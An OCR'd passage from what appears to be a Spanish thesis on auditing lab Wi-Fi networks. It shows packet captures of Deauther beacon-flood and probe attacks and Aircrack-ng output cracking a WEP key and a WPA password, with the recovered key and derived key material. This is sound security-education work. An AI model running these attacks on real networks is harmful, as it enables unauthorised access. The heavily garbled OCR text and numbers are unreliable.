6550 209.511244846 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1205, FN=©, Flags..
4636 147.152539887 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1205, FN=0, Flags..
530 14.641999589 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1206, FN=0, Flags..
6552 209.613713670 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1206, FN=0, Flags..
4638 147.255024252 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1206, FN=0, Flags..
533 14.744322573 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1207, FN=0, Flags..
6553 209.716047903 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1207, FN=0, Flags..
4640 147.357420705 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1207, FN=0, Flags..
535 14.846766923 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1208, FN=0, Flags..
Frame 505: 398 bytes on wire (3184 bits), 398 bytes captt 02 00 00 dd 1a 00 50 f2 01 01 00 00 50 f2 02 02
Radiotap Header vO, Length 36 00 00 50 f2 04 00 50 f2 02 01 00 00 50 f2 02 dd
802. 11 radio 1nformatlon 18 00 50 f2 02 01 01 00 00 03 ad 00 00 27 a4 OO

0 48

Flgura 57: Analisis de la presencia del ataque Beacon -D- Admlnlstracmn

Fuente: Elaborado por autor
En "RED_USR", el Deauther genera multiples tramas beacon, sobresaturando
el canal con redes duplicadas, el cual confunde a los usuarios y puede sobrecargar el
hardware de algunos dispositivos, provocando inestabilidad, la figura 58, presenta
varias redes con el SSID "RED_USR". La congestion afecta la velocidad y estabilidad
de la red, abriendo ademas la posibilidad de ataques, al atraer a los usuarios a redes

trampa.



wlan.ssid == "RED-USR" || wlan.fc.type_subtype == 0x08 |

Time

6538 208.896833848
14571 562.897610274
3189 99.532531843
16141 598.635615024
3545 168.850966802
18647 637.957627986
6540 208.999300965
4625 146.640525552

497 14.129995075
6542 209.101702689
4627 146.742936001

499 14.232348804
6544 209.204017009
4629 146.845354772

505 14.334738038
6546 209.306468657
4631 146.947803524
6548 209.408900682
14595 563.307218994
4634 147.050222438

527 14.539532266
6550 209.511244846
4636 147.152539887

530 14.641999589
6552 209.613713670
4638 147.255024252

533 14.744322573
6553 209.716047903
4640 147.357420705

535 14.846766923

Source

HuaweiTechno_6e
HuaweiTechno_6e:
HuaweiTechno_6e:
HuaweiTechno_6e:
HuaweiTechno_6e:
HuaweiTechno_6e:

7a:5€:75:55:60:d8

HuaweiTechno_6e:4d:..
HuaweiTechno_6e:4d:..

7a:5€:75:55:60:d8

HuaweiTechno_6e:4d:..
HuaweiTechno_6e:4d:..

7a:5e:75:55:60:d8

HuaweiTechno_6e:4d:..
HuaweiTechno_6e:4d:..

7a:5e:75:55:60:d8

HuaweiTechno_6e:4d:..
HuaweiTechno_6e:4d:..

7a:5€:75:55:60:d8

HuaweiTechno_6e:4d:..
.. Broadcast

HuaweiTechno_6e:4
7a:5€:75:55:60:d8

HuaweiTechno_6e:4d:..
HuaweiTechno_6e:4d:..

7a:5€:75:55:60:d8

HuaweiTechno_6e:4d:..
HuaweiTechno_6e:4d:..

7a:5€:75:55:60:d8

HuaweiTechno_6e:4d:..

Destination

... Broadcast
... Broadcast
... Broadcast
... Broadcast
.. Broadcast
.. Broadcast
HuaweiTechno_6e:4d:..

Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast

Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast

Protocol Length Info

802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.11
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.

398 Beacon frame,
398 Beacon frame,
400 Beacon frame,
398 Beacon frame,
398 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,
398 Beacon frame,
264 Beacon frame,
398 Beacon frame,

SN=1199, FN=0, Flags..
SN=1199, FN=0, Flags..
SN=12, FN=0, Flags=...
SN=12, FN=0, Flags=...
SN=120, FN=0, Fla

SN=120, FN=0, Flags=..
SN=1200, FN=0, Flags..
SN=1260, FN=0, Flags..
SN=1201, FN=0, Flags..
SN=1201, FN=0, Flags..
SN=1201, FN=0, Flags..
SN=1202, FN=0, Flags..
SN=1202, FN=0, Flags..
SN=1202, FN=0, Flags..
SN=1203, FN=0, Flags..
SN=1203, FN=0, Flags..
SN=1203, FN=0, Flags..
SN=1204, FN=0, Flags..
SN=1204, FN=0, Flags..
SN=1204, FN=0, Flags..
SN=1265, FN=0, Flags..
SN=1205, FN=0, Flags..
SN=1205, FN=0, Flags..
SN=1206, FN=0, Flags..
SN=1206, FN=0, Flags..
SN=1206, FN=0, Flags..
SN=1207, FN=0, Flags..
SN=1207, FN=0, Flags..
SN=1207, FN=0, Flags..
SN=1208, FN=0, Flags..

Frame 505: 398 bytes on wire (3184 bits), 398 bytes capti 00 00 24 00 2f 40 00 a® 20 08 0O 00 00 00 0O 00
Figura 58: Analisis de la presencia del ataque beacon - RED_USR

Fuente: Elaborado por autor

El Deauther inunda el espectro con redes falsas bajo el SSID "RED_USR2",
aumentando el tréfico y las interferencias. Los dispositivos deben gestionar maltiples
redes idénticas, lo cual retarda las conexiones y aumenta el consumo de bateria en
dispositivos moviles. La figura 59 muestra varias redes "RED_USR2", afectando la
respuesta de los dispositivos y provocando interrupciones de comunicacién en entornos

empresariales.
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RED-USR2" || wian.fc.type_subty,

Source Destination Protocol Length Info
208.896833848 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1199, FN=0, Flags..

14571 562.897610274 HuaweiTechno_6e: Broadcast 802.11 398 Beacon frame, SN=1199, FN=0, Flags.
3189 99.532531843 HuaweiTechno_6e: Broadcast 802.11 400 Beacon frame, SN=12, FN=0, Flags=
16141 598.635615024 HuaweiTechno_6e: Broadcast 802.11 398 Beacon frame, SN=12, FN=0, Flag
3545 108.850966802 HuaweiTechno_6e: Broadcast 802.11 398 Beacon frame, SN=120, FN=0, Flags
18647 637.957627986 HuaweiTechno_6e: 4 Broadcast 802.11 398 Beacon frame, SN=120, FN=0, Flags
6540 208.999300965 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1200, FN=0,

4625 146.640525552 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1200, FN=0,

497 14.129995075 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1201, FN=0,

6542 209.101702689 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1201, FN=0,

4627 146.742936001 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1201, FN=0,

499 14.232348804 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1202, FN=0,

6544 209.204017009 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1202, FN=0,

4629 146.845354772 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1202, FN=0,

505 14.334738038 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1203, FN=0,

6546 209.306468657 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1203, FN=0,

4631 146.947803524 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1203, FN=0,

6548 209.408900682 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1204, FN=0,
14595 563.307218994 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1204, FN=0,

4634 147.050222438 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1204, FN=0,

527 14.539532266 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1205, FN=0,

6550 209.511244846 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1205, FN=0,

4636 147.152539887 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1205, FN=0,

530 14.641999589 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1206, FN=0,

6552 209.613713670 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1206, FN=0,

4638 147.255024252 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1206, FN=0,

533 14.744322573 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1207, FN=0,

6553 209.716047903 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1207, FN=0,

4640 147.357420705 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1207, FN=0,

535 14.846766923 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1208, FN=0,
Frame 505: 398 bytes on wire (3184 bits), 398 bytes captt 00 00 24 00 2f 40 00 a®@ 20 08 0O 6O 0O
Radiotap Header vO, Length 36 17 16 aa bb 00 00 00 G0 10 02 99 09 a®
802.11 radio information 00 00 bf 00 80 00 00 00 ff ff ff ff ff
IEEE 802.11 Beacon frame, Flags: ab 6e 4d 74 64 13 ab 6e 4d 74 30 4b 96

Figura 59: Presenma del ataque beacon en el AP2 “RED_USR2”

Fuente: Elaborado por autor

Ataques Probe Request

Este tipo de ataque de sondeo utiliza la habilidad de los dispositivos finales para
lograr transmitir solicitudes en cuanto a redes que se encuentren presentes, de tal forma
que si el intruso posee la destreza de enviar una solicitud de sondeo para que los
dispositivos respondan, van a descubrir de esta manera su identidad, siendo este de
gran utilidad, referente al punto de acceso.

El Deauther envia solicitudes de sondeo dirigidas al punto de acceso 1, la que
lleva por nombre "D-Administracion”. La figura 60 muestra la presencia del ataque
probe en intervalos de tiempo que varian de 100 ms a 1 segundo, de tal manera que los
dispositivos finales se encuentran conectados a la red y este ataque llega a cada uno de
ellos, cabe recalcar que también se observa que la red a la que esta dirigida se encuentra
bajo el estandar 802.11.
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Destination Protocol Length Info

603 18.104723205 :Pa:7a:9a:a2 Broadcast 802.11 240 Beacon frame,
13836 532.962475782 2 : :9a:a2 Broadcast 802.11 240 Beacon frame, SN=1041, FN=0,
11428 439.675955425 17d: :9a:a2 Broadcast 802.11 240 Beacon frame, SN=114, FN=0,
11441 440.187884730 :7d:0a:7a:9a:a2 Broadcast 802.11 240 Beacon frame, SN=119, FN=0, Flags
11519 440.597580114 :7d:Pa:7a:9a:a2 Broadcast 802.11 240 Beacon frame, SN=123, FN=0, Flags
14288 557.128832711 :7a:9a:a2 Broadcast 802.11 240 Beacon frame, SN=1278, FN=0,
11525 441.186128061 5 : :9a:a2 Broadcast 802.11 240 Beacon frame, SN=128, FN=0,
14290 557.538502709 (7d: :9a:a2 Broadcast 802.11 240 Beacon frame, SN=1282, FN=0, Flags.
14292 557.640827108 17d: :9a:a2 Broadcast 802.11 240 Beacon frame, SN=1283, FN=0, Flags.
14338 558.562424702 i :9a:a2 Broadcast 802.11 240 Beacon frame, SN=1292, FN=0, Flags.
11527 441.519159325 5 1 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=132, FN=0,
11534 442.133493934 :7a:9a:a2 Broadcast 802.11 240 Beacon frame, SN=138, FN=0,
11241 429.435878200 :7d:Pa:7a:9a:a2 Broadcast 802.11 240 Beacon frame,
11539 442.543090814 :7d:Pa:7a:9a:a2 Broadcast 802.11 240 Beacon frame,
11544 442.973643276 [ :9a:a2 Broadcast 802.11 240 Beacon frame, SN=146, FN=0,
11546 443.055106688 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=147, FN=0,
11242 429.538558661 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=15, FN=0, Flag
11556 443.988385746 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=156, FN=0, Flags

411 11.361781637 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=20, FN=0,
18639 637.615317569 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2066, FN=0,
18661 638.332126022 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2073, FN=0,
18670 638.537651092 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2075, FN=0,
18672 638.639321046 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2076, FN=0, Flags.
18674 638.741742883 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2077, FN=0, Flags.
18690 639.151337836 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2081, FN=0, Flags..
18693 639.253724159 :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2082, FN=0, Flags..
18702 639.486471392 :9a:a2 Broadcast 8602.11 240 Beacon frame, SN=2084, FN=0, Flags.
18706 639.560995888 - :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2085, FN=0, Flags.
18709 639.663338826 17d: :9a:a2 Broadcast 802.11 240 Beacon frame, SN=2086, FN=0, Flags.
18711 639.765721816 :7d:0a:7a:9a:a2 Broadcast 802.11 240 Beacon frame, SN=2087, FN=0, Flags..
Frame 603: 240 bytes on wire (1920 bits), 240 bytes captu: 00 00 24 00 2f 40 00 a®@ 20 08 OO 6O GO 0O 0O 0O
Radiotap Header vO, Length 36 3f a1l e3 bb 00 00 00 00 10 02 99 09 a® 00 b9 6O
802.11 radio information 00 00 b9 00 80 00 B0 0 ff ff ff ff ff ff ae 7d
IEEE 802.11 Beacon frame 3 Qa 7a 9a a2 ae 7d Pa 7a 9a a2 50 06 8b 21 80 00

0
10
0
10
10
10
10
10
10
0
0
10

Figura 60: Presencia del ataque probe en el AP1

Fuente: Elaborado por autor
El Aursinc emite solicitudes de sondeo al AP2 denominado “RED_USR”, la
figura 61 muestra la presencia del ataque ya que esto es til para llevar a cabo la
denegacidn de servicio, en la ilustracidn se presenta el valor de 0x04, debido a lo cual
se filtra para solo ver cuando el ataque esta presente en la red, otro dato importante que
se muestra es la longitud de cada paquete posee es de 108 bytes, de tal manera que es
un valor medio por lo tanto, se le considera necesaria para poder establecer las redes

disponibles.
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ED_USR" || wlan.fc.type_subtyp

5 Time Source Destination Protocol Length
18651 638.087739208 Opelcomm_b7:35:00 Broadcast 802.11 108 Request, SN=0,
18826 643.096976775 KIDSysteme_c3:bc:00 Broadcast 802.11 108 Request, SN=0,
14767 566.050688136 Rebelcom _08:4d:01 Broadcast 802.11 108 Request, SN=0,
14825 568.058727816 EsperaWerke 5d:0c:01 Broadcast 802.11 108 Request, SN=0,
17143 617.178589529 SanmeiElectr_d6:cf:.. Broadcast 802.11 108 Request, SN=0,
17600 624.193845382 EndPoints_12:25:01 Broadcast 802.11 108 Request, SN=0,
17758 627.194850509 YoshidaKogyo_e0:81:.. Broadcast 802.11 108 Request, SN=0,
17802 628.195298878 INIT_a0:af:01 Broadcast 802.11 108 Request, SN=0,
18115 633.206910245 AlcatelLucen_76:cf:.. Broadcast 802.11 108 Request, SN=0,
18360 635.206767826 Unigen_f0:25:01 Broadcast 802.11 108 Request, SN=0,
18724 640.215049735 MetroTechnol_ ff:f8:.. Broadcast 802.11 108 Request, SN=0,
18942 646.223016081 Iqua_53:af:01 Broadcast 802.11 108 Request, SN=0,
14403 559.273822536 MicroStarInt_d0:91:.. Broadcast 802.11 108 Request, SN=0,
14480 561.275790770 Cisco_2f: 03 Broadcast 802.11 108 Request, SN=0,
14558 562.276618861 Cisco_fc:a2:03 Broadcast 802.11 108 Request, SN=0,
15513 583.345621265 ChessEnginee_47: Broadcast 802.11 108 Request, SN=0,
15717 591.389871412 EisInternati_31: Broadcast 802.11 108 Request, SN=0,
16319 601.394689251 FormosaWirel 3a: Broadcast 802.11 108 Request, SN=0,
16748 609.423656757 ImediaSemico_6c:f0:.. Broadcast 802.11 108 Request, SN=0,
17313 620.441892648 SumitomoElec_41: Broadcast 802.11 108 Request, SN=0,
16657 607.297967258 CiscolLinksys_8f:28:.. Broadcast 802.11 108 Request, SN=0,
17226 618.312931186 UNIKC&C_85:db:02 Broadcast 802.11 108 Request, SN=0,
17306 620.316951346 SumitomoElec_41:e3:.. Broadcast 802.11 108 Request, SN=0,
17509 623.317858312 Yoshimiya_83:fd:02 Broadcast 802.11 108 Request, SN=0,
17734 626.318690141 LIMNO_Sa:ce:02 Broadcast 802.11 108 Request, SN=0,
17965 630.325894428 GothamNetwor_97:58:.. Broadcast 802.11 108 Request, SN=0,
18322 634.331698264 RadChips_5d:52:02 Broadcast 802.11 108 Request, SN=0,
18380 635.331779270 Unigen_f0:25:02 Broadcast 802.11 108 Request, SN=0,
14454 560.399686857 Cisco_ec:b9:04 Broadcast 802.11 108 Request, SN=0, FN=0,
15603 586.477637001 Sony_a0:2a:04 Broadcast 802.11 108 Request, SN=0, FN=0,
Frame 607: 300 bytes on wire (2400 bits), 300 bytes captui 00 00 24 00 00 a®@ 20 08 0O 0O GO 00
Radiotap Header v@, Length 36 d6é ca e9 bb 00 00 10 02 99 09 ab 00
802.11 radio information 00 00 aa 00 80 00 00 B0 ff ff ff ff ff ff
04 d

b e e e e e e e e e e e e e M e e e o

Figura 61: Presencia del ataque probe en AP2 “RED_USR”
Fuente: Elaborado por autor
Debido a las tramas que presenta el punto de acceso 2 mediante el filtro indica
que la longitud de cada paquete se encuentra de 141 y 152 bytes, estableciendo de esta

manera un riesgo en la seguridad.
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" || wlan.fc.type_subtyp:

5 Source Destination Protocol Length Info
11210 420.432955720 SamsungElect_e7: Broadcast 802.11 141 Probe Request, SN=1610, FN=0, Flag..
8771 274.602419385 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1611, FN=0, Flag..
8772 274.603464557 SamsungElect_e7: Broadcast 802.11 141 Probe Request, SN=1612, FN=0, Flag..
8773 274.664031472 SamsungElect_e7: Broadcast 802.11 149 Probe Request, SN=1614, FN=0, Flag..
8774 274.665161910 SamsungElect_e7: Broadcast 802.11 152 Probe Request, SN=1615, FN=0, Flag..
8775 274.666278775 SamsungElect _e7: Broadcast 802.11 150 Probe Request, SN=1616, FN=0, Flag..
8776 274.668150919 SamsungElect_e7: Broadcast 802.11 149 Probe Request, SN=1617, FN=0, Flag..
13330 516.530368628 SamsungElect_e7:8e:.. Broadcast 802.11 149 Probe Request, SN=162, FN=0, Flags..
8781 274.691453881 SamsungElect_e7:8e:.. Broadcast 802.11 150 Probe Request, SN=1620, FN=0, Flag..
8782 274.692578096 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1621, FN=0, Flag..
8783 274.693687734 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1622, FN=0, Flag..
8784 274.694801923 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1623, FN=0, Flag..
8785 274.695848338 SamsungElect_e7: Broadcast 802.11 141 Probe Request, SN=1624, FN=0, Flag..
8786 274.696959507 SamsungElect _e7: Broadcast 802.11 149 Probe Request, SN=1625, FN=0, Flag..
510 14.391408612 SamsungElect e7: Broadcast 802.11 150 Probe Request, SN=1625, FN=0, Flag..
8787 274.698089712 SamsungElect_e7: Broadcast 802.11 152 Probe Request, SN=1626, FN=0, Flag..
8788 274.699208164 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1627, FN=0, Flag..
8789 274.700316997 SamsungElect_e7: Broadcast 802.11 149 Probe Request, SN=1628, FN=0, Flag..
8790 274.701434327 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1629, FN=0, Flag..
13331 516.531493842 SamsungElect_e7: Broadcast 802.11 152 Probe Request, SN=163, FN=0, Flags..
8791 274.702551896 SamsungElect_e7:8e:.. Broadcast 802.11 150 Probe Request, SN=1630, FN=0, Flag..
4237 134.155221390 SamsungElect_e7: Broadcast 802.11 149 Probe Request, SN=1630, FN=0, Flag..
8792 274.703668918 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1631, FN=0, Flag..
8793 274.704787373 SamsungElect_e7: Broadcast 8602.11 150 Probe Request, SN=1632, FN=0, Flag..
8794 274.705830300 SamsungElect_e7:8e:.. Broadcast 802.11 141 Probe Request, SN=1633, FN=0, Flag..
8799 274.718861204 SamsungElect_e7:8e:.. Broadcast 802.11 149 Probe Request, SN=1634, FN=0, Flag..
8800 274.719982111 SamsungElect_e7: Broadcast 802.11 152 Probe Request, SN=1635, FN=0, Flag..
11216 422.513767336 SamsungElect_e7: Broadcast 802.11 163 Probe Request, SN=1635, FN=0, Flag..
8801 274.721098592 SamsungElect_e7: Broadcast 802.11 150 Probe Request, SN=1636, FN=0, Flag..
8802 274.722206432 SamsungElect_e7:8e:.. Broadcast 802.11 149 Probe Request, SN=1637, FN=0, Flag..
IEEE 802.11 Wireless Management 2 do e7 8e 66 ff ff ff ff ff ff 90 65 00 09 64
~ Tagged parameters (86 bytes) 0040 BEN69T6566720781789 01 04 02 04 b 16 32 08
~ Tag: SSID parameter set: "daniel 19" 12 18 24 30 48 60 6c 03 01 06 2d 1a 21 00 1if
Tag Number: SSID parameter set (0) 00 00 00 OO0 0O GO GO GO 0O 80 01 OO GO 0O OO

Figura 62: Presencia del ataque probe en el punto de acceso 2 “RED_USR2”

Fuente: Elaborado por autor

4.1.4.0bservacion y comparacion de vulnerabilidades descubiertas en los
diferentes tipos de cifrado de la red.

Anélisis WEP.

La Figura 63, muestra el entorno Kali Linux ya que esta sera de gran ayuda para
obtener la clave de una red inalambrica cifrada usando WEP (Wired Equivalent
Privacy). Aircrack-ng es un software cominmente que se utiliza para este tipo de
andlisis en el entorno de seguridad, por ende, el AP1 “D-Administracion” es en el que

se intervino utilizado en auditorias de seguridad de redes Wi-Fi.
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adriana@kali: ~

File Actions Edit View Help
Aircrack-ng 1.7
[00:00:13] 25506/14344395 keys tested (1891.72
Time left: 2 hours, 6 minutes, 9 seconds
KEY FOUND! [22113]

Master Key : A6 73 BE 74 D2 68 06 11 2
3 88 22 30 C5 21 5

Transient Key : 73 0C @7 E2 D9
3 BD 83 3C EB 61

A2 79 CA 99 D8
2 02 74 39 2A

EAPOL HMAC . C0 29 C7 OC FA F9
Figura 63: Descifrado del protocolo WEP

Fuente: Elaborado por autor

En la parte superior de la pantalla se observa que el proceso de descifrado se
concluyd con éxito ya que al mostrar la notificacion jKEY FOUND! 221133, nos indica
que la clave de acceso WEP de la red “D-Administracion” ha sido revelada
exitosamente por el software, lo que permite potencialmente el acceso a la red.

Aparte de la clave WEP hallada se pueden observar también en la interfaz de
equipo otras variedades técnicas como la Clave Maestra y la Clave Transitoria que son
claves derivadas y que son utilizadas en la autenticacion y en el cifrado de la
comunicacion a través de la red, la clave maestra tiene dentro un rango de 40 o 104 bits
el cual se la afiade un vector de inicializacion (1V) de 24 bits para que sea posible crear
la clave total que se utiliza en la cifracion de cada paquete, Esta clave se combina con
el IV para formar una "key" que es distinta para cada paquete; pero dado que el IV es
de corta longitud (sélo 24 bits) y se envia un numero suficiente de paquetes, las
combinaciones de clave e IV se repiten lo cual hace que el tiempo necesario para
adivinar la clave quede notablemente acortado.

También se presenta el EAPOL HMAC, un cédigo de autenticacién basado en hash

(HMAC, por sus siglas en inglés) que asegura la integridad de los mensajes durante la
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autenticacion en protocolos de clave compartida. Aunque estas claves y codigos
especificos no son la clave de acceso en si, forman parte del proceso criptografico que
protege la comunicacién en redes inalambricas y pueden resultar utiles en un analisis
mas profundo del trafico de red.

El IV es una variable de 24 bits de longitud combinada con la clave WEP para
encriptar cada paquete de datos por separado, sin embargo, dado que este 1V es corto,
comienza a repetirse después de un numero relativamente pequefio de paquetes
enviados y con base en esto, es posible que los atacantes capturen paquetes que digan
el mismo IV e inicien un andlisis estadistico, este ejercicio ilustra una seria debilidad
en el protocolo WEP, ya que es un protocolo inalambrico que se sabe que es débil desde
hace varios afios porque es susceptible a ataques de fuerza bruta y otras formas de
criptoanalisis relacionadas.

El andlisis de Aircrack-ng confirma realmente que es vulnerar una red que
utiliza WEP, cabe recalcar que WEP deberia ser la Gltima consideracion en cualquier
red y, por lo tanto, la red "D-Administracion™ deberia cambiar su esquema de seguridad
a uno mas avanzado para contrarrestar el acceso no autorizado.

Es importante recordar que este tipo de pruebas deben realizarse nicamente en
redes propias o con la autorizacién expresa del propietario, ya que el acceso no
autorizado a redes es una actividad ilegal en la mayoria de las jurisdicciones, de tal
forma esta situacién pone de manifiesto la obsolescencia del cifrado WEP vy la
importancia de implementar estdndares de seguridad actualizados en redes
inalambricas para proteger tanto los datos como el acceso a la red.

Anélisis del protocolo WPA

En la figura 64, se presenta el proceso de descifrado de la red inalambrica
RED_USR que se encuentra protegida por el protocolo WPA, esto se efectud en base
a la herramienta Aircrack-ng, esta imagen contiene el handshake de autenticacion
anteriormente obtenido, para esto se realizé un ataque de fuerza bruta que, mediante
una combinacién de claves se obtuvo con éxito la clave Pre-shared key (PSK), ya que
es un valor necesario que ayuda a acceder a lared. En la figura 64 se muestra el mensaje

de jKey Found!, este indica que la clave fue descubierta, cabe recalcar que esta clave
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compartida fue previamente configurada en el punto de acceso y a su vez es aquel que
permite autenticar dispositivos, este valor es esencial en WPA, de tal forma que permite
derivar la clave que cifrara el trafico de datos.

La figura 64, presenta el descifrado de la red RED_USR, por ende, se ha
logrado con éxito descifrar la clave de acceso, en este caso la contrasefia es
0901282095, el cual nos indica que la contrasefia era suficientemente simple para ser

vulnerada mediante la técnica de fuerza bruta.

Aircrack-ng 1.7

[00:00:00] 11/10303727 keys tested (364.22 k/s)
Time left: 7 hours, 51 minutes, 30 seconds
KEY FOUND! [ 0901282095 ]

Master Key » 40 79 CF 58 3C CC F7 8C D1 EE D@ 87 F3 7A 83 10
3F 50 CF 30 98 A4 D1 DC EC 49 D9 7E 17 C4 3E 4B

Transient Key : 86 22 38 32 09 53 88 F6 40 35 3F B9 D8 7A 2C SE
3A F1 2D 4A AE 93 13 EB 6A 3A 36 5C 6C 36 9A 54
93 F3 81 37 BD F4 FO DA 06 53 43 97 31 04 96 08
F6 67 1C B1 F2 OE C3 94 EF F6 05 41 A7 E5 A4 D2

EAPOL HMAC » 0D 84 19 7E OC 49 AE 51 53 CA 22 8A 13 (C1 11 B9

Figura 64: Descifrado de la red RED_USR

Fuente: Elaborado por autor
En el descifrado se puede observar las llaves derivadas que se generan como
parte del protocolo WPA para proteger la comunicacion, estas incluyen el Master Key,
Transient Key y el EAPOL HMAC. Las llaves contienen la confidencialidad e

integridad de los datos transmitidos.
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La Master Key o PMK (Pairwise Master Key) que se muestra en la figura 65,
es esencial en este proceso de cifrado WPA, es una clave maestra de 265 bits que se
genera a partir de la PSK, el SSID de la red y otros valores, se la considera primordial
ya que es la base de todo el esquema de seguridad WPA, de tal modo que se derivan

todas las claves de sesion.

Aircrack-ng 1.7

[00:00:00] 11/10303727 keys tested (364.22 k/s)
Time left: 7 hours, 51 minutes, 30 seconds
KEY FOUND! [ 0901282095 ]
Master Key - CF 58 3C CC F7 8C EE
CF 30 98 A4 D1 DC EC 49
Transient Key : 38 32 09 53 88 F6 40 35
2D 4A AE 93 13 EB 6A 3A
81 37 BD F4 FO DA 06 53
1C B1 F2 OE C3 94 EF F6

EAPOL HMAC : 19 7E OC 49 AE 51 53 CA

Figura 65: Master key — WPA

Fuente: Elaborado por autor

La PMK se genera a partir de la contrasefia de la red (pre-shared key o PSK) y
el SSID, utilizando una funcion de derivacion de claves. La importancia de PMK es
clave ya que no se transmite por el aire, por el contrario, se utiliza internamente para
derivar otras claves de sesion y autenticacion.

El valor hexadecimal que muestra la figura 65, se encuentra representada por
pares de digitos, en donde estos representan un byte de la clave, es importante
mencionar que esta clave es Unica para la red y se mantiene constante mientras no se

cambie la contrasefia del Wi-Fi.
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La clave transitoria es dindmica y temporal que se genera durante el proceso de
autenticacion, que se efectda entre el cliente y el punto de acceso, La figura 66 presenta
la PTK se deriva utilizando la PMK junto a otros valores como el ANonce (nimero
aleatorio generado por el punto de acceso), SNonce (Numero aleatorio generado por el
cliente) y la direccion MAC del cliente (direccion del dispositivo que se conecta). La
PTK es de 512 bits y se divide en varias subclaves, que incluyen:

e KCK (Key confirmation Key): clave para autenticar los mensajes de
autenticacion (EAPOL)

e KEK (Key Encryption Key): clave para cifrar la informacion durante el
proceso de intercambio de redes.

o Temporal Key (TK): Clave utilizada para cifrar los datos transmitidos

enlared

Aircrack-ng 1.7

[00:00:00] 11/10303727 keys tested (364.22 k/s)
Time left: 7 hours, 51 minutes, 30 seconds
KEY FOUND! [ 0901282095 ]

Master Key » 40 79 CF 58 3C CC F7 8C D1 EE D@ 87 F3 7A 83 10
3F 50 CF 30 98 A4 D1 DC EC 49 D9 7E 17 C4 3E 4B

Transient Key : 86 22 38 32 09 53 88 F6 40 35 3F B9 D8 7A 2C 5E
3A F1 2D 4A AE 93 13 EB 6A 3A 36 5C 6C 36 9A 54
93 F3 81 37 BD F4 FO DA 06 53 43 97 31 04 96 08
F6 67 1C B1 F2 OFE C3 94 EF F6 05 41 A7 E5 A4 D2

EAPOL HMAC . 0D 84 19 7E OC 49 AE 51 53 CA 22 8A 13 C1 11 B9

Figura 66: Transient Key — WPA

Fuente: Elaborado por autor
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En la Figura 66, se presenta la numeracion hexadecimal que representa la PTK,
el cual es Unica para cada conexion, garantiza que las sesiones individuales sean
seguras.

